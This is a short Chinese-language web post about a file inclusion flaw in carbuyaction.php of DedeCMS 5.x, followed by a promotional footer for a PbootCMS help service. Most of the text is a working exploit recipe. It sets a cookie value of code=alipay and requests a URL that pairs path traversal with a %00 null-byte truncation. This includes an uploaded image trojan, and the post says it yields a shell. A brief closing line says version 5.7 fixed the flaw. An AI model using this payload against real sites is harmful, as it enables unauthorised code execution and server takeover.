使用过DEDECMS的人，可能很多都知道了这个漏洞，在DEDECMS5.X版本中，这个文件漏洞一直存在，文件如下： 漏洞文件carbuyaction.php
- 首先利用cookie修改工具，加上 code=alipay 然后访问
- http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/xx/myface.gif%00
- 直接包含成功
- 利用条件为GPC OFF ，或者某些环境下的截断。
- 可以在会员中心里上传个图片木马进行拿shell。
- 还可以包含dede自身文件进行更多利用，这里就不详细了。
现在***新版的DEDECMS5.7已经修复了这个错误，如果是早起的版本DEDECMS请用***新版文件覆盖即可
Pbootcms问题解决
请点击在线联系我们【点击咨询解决问题】 如果您有任何Pbootcms问题，我们将免费为您写解决教程！
